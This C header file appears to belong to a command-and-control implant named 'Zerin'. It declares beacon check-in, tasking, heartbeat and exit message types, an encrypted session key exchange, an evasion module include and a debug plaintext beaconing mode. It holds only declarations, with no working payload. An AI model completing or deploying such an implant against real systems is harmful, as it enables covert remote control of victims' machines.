Files
2026-08-27 11:03:10 -06:00

80 lines
2.1 KiB
C
Executable File

#ifndef ZERIN_H
#define ZERIN_H
#define ZERIN_VERSION_MAJOR 1
#define ZERIN_VERSION_MINOR 0
#define ZERIN_VERSION_PATCH 0
#define ZERIN_MAX_PAYLOAD (1024 * 1024 * 4) // 4 MB max message
#define ZERIN_MAX_TASKS 64
#define ZERIN_AGENT_ID_LEN 37 // UUID + null
#define ZERIN_KEY_SIZE 32
#define ZERIN_NONCE_SIZE 12
#define ZERIN_TAG_SIZE 16
#define ZERIN_SHA256_SIZE 32
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#endif
// Result codes
#define ZERIN_OK 0
#define ZERIN_ERR_CRYPTO -1
#define ZERIN_ERR_TRANSPORT -2
#define ZERIN_ERR_PROTOCOL -3
#define ZERIN_ERR_CONFIG -4
#define ZERIN_ERR_MEMORY -5
#define ZERIN_ERR_TIMEOUT -6
#define ZERIN_ERR_KILLED -7
// Message types (matches proto enum)
#define MSG_UNKNOWN 0
#define MSG_CHECKIN 1
#define MSG_CHECKIN_ACK 2
#define MSG_TASK_REQUEST 3
#define MSG_TASK_RESPONSE 4
#define MSG_TASK_RESULT 5
#define MSG_HEARTBEAT 6
#define MSG_HEARTBEAT_ACK 7
#define MSG_EXIT 8
#include "config.h"
#include "crypto.h"
#include "transport.h"
#include "protocol.h"
#include "commands.h"
#include "platform.h"
#include "evasion.h"
// Global agent state
typedef struct {
zerin_config_t config;
uint8_t session_key[ZERIN_KEY_SIZE];
bool session_established;
uint64_t sequence_number;
char cwd[MAX_PATH];
bool running;
} zerin_agent_t;
// Base64 encoding
char *base64_encode(const uint8_t *data, size_t len, size_t *out_len);
// Core functions
int zerin_init(zerin_agent_t *agent);
int zerin_key_exchange(zerin_agent_t *agent);
int zerin_beacon_loop(zerin_agent_t *agent);
void zerin_cleanup(zerin_agent_t *agent);
// Debug mode (plaintext JSON beacons, no crypto)
#ifdef _DEBUG
int debug_checkin(zerin_agent_t *agent);
int debug_beacon_loop(zerin_agent_t *agent);
#endif
#endif // ZERIN_H